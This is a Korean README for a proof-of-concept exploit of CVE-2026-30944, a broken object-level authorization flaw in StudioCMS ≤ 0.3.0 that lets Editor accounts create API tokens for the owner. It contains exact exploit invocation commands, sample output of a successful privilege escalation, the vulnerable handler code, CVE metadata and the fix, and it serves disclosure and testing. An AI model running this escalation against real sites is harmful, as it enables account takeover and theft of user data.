
# CVE-2026-30944에 대한 Python 개념 증명 코드 StudioCMS의 BOLA 취약점을 악용하여 안전하지 않은 API 토큰 생성을 통해 권한을 상승시키는 코드입니다.
StudioCMS 불안전한 API 토큰 생성으로 인한 권한 상승
StudioCMS ≤ 0.3.0의 POST /studiocms_api/dashboard/api-tokens 엔드포인트는 인증된 모든 사용자(최소 Editor 역할)가 owner 및 admin 계정을 포함한 다른 모든 사용자를 위한 API 토큰을 생성할 수 있도록 허용합니다.
이 엔드포인트는 요청 본문에서 대상 사용자 UUID를 지정하는 user 매개변수를 허용하지만, 요청 사용자가 해당 대상을 대신하여 토큰을 생성할 권한이 있는지 절대 검증하지 않습니다. 이는 전체 권한 상승으로 이어지는 전형적인 객체 수준 권한 부여 손상(BOLA) 취약점입니다.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ 공격자 │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ 서버 │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Owner 권한의 전체 사용자 데이터] │
│ │
| 파일 | 설명 |
|---|---|
cve_2026_30944_poc.py | 수동 및 자동 모드를 지원하는 Python 익스플로잇 스크립트 |
README.md | 이 파일 |
LICENSE | MIT 라이선스 |
Editor 계정의 유효한 자격 증명pip install requests colorama
# 에디터 계정을 사용하여 owner용 API 토큰 생성
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# 결과를 JSON으로 저장
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# 여러 역할로 테스트하여 취약점 확인
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| 인자 | 설명 |
|---|---|
-u, --url | 대상 StudioCMS 기본 URL |
--uuid | 대상 사용자 UUID (예: owner 계정) |
| 인자 | 설명 |
|---|---|
--username | 인증용 사용자 이름 |
--password | 인증용 비밀번호 |
| 인자 | 설명 |
|---|---|
--save | 결과를 JSON 파일로 저장 |
--no-ssl-verify | SSL 인증서 검증 비활성화 |
──────────────────────────────────────────────────────────
PHASE 1: 인증
──────────────────────────────────────────────────────────
[+] 'editor01'로 인증됨
[*] 세션 사용자: editor01 (editor)
[*] 세션 UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 2: 권한 상승
──────────────────────────────────────────────────────────
[*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 대상 사용자용 API 토큰 생성 중...
[+] API 토큰이 성공적으로 생성되었습니다!
[!] 토큰: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
PHASE 3: 검증
──────────────────────────────────────────────────────────
[*] REST API에서 토큰 액세스 검증 중...
[+] 취약점 확인됨 — 전체 API 액세스 달성!
[*] 9개의 사용자 레코드 검색됨
──────────────────────────────────────────────────────────
PHASE 2: 권한 상승
──────────────────────────────────────────────────────────
[*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] 대상 사용자용 API 토큰 생성 중...
[*] 액세스 거부됨 (403 Forbidden) — 엔드포인트가 패치되었을 수 있음
[-] 익스플로잇 실패 — 토큰이 생성되지 않음
취약한 핸들러인 packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (16–57행)는 JSON 본문에서 user 매개변수를 허용하고 권한 부여 검사 없이 토큰 생성 함수에 직접 전달합니다:
// [1] 호출자가 editor인지만 확인 — 누구를 위해 토큰을 생성하는지는 확인하지 않음
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 요청 본문의 'user' — 인증된 세션에 대한 검증 없음
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] 토큰 생성에 직접 전달 — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
권한 부여 모델은 *"호출자가 최소한 editor인가?"*만 확인할 뿐 *"호출자가 이 특정 사용자를 위해 토큰을 생성할 권한이 있는가?"*는 확인하지 않습니다.
StudioCMS를 버전 0.4.0 이상으로 업데이트하세요:
npm install studiocms@latest
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
Filipe Gaudard
이 PoC는 교육 목적으로 MIT 라이선스 하에 배포됩니다. 책임감 있고 윤리적으로 사용하세요.
| 필드 | 값 |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: 사용자 제어 키를 통한 권한 부여 우회 |
| CWE (보조) | CWE-863: 잘못된 권한 부여 |
| MITRE ATT&CK | T1134 — 액세스 토큰 조작 |
| OWASP API | API1:2023 — 객체 수준 권한 부여 손상 |
| 영향 버전 | studiocms ≤ 0.3.0 |
| 수정 버전 | studiocms 0.4.0 |
| 인자 | 설명 |
|---|
--auto-test | 자동 다중 역할 테스트 활성화 |
--editor-user | 에디터 계정 사용자 이름 |
--editor-pass | 에디터 계정 비밀번호 |
--visitor-user | 방문자 계정 사용자 이름 |
--visitor-pass | 방문자 계정 비밀번호 |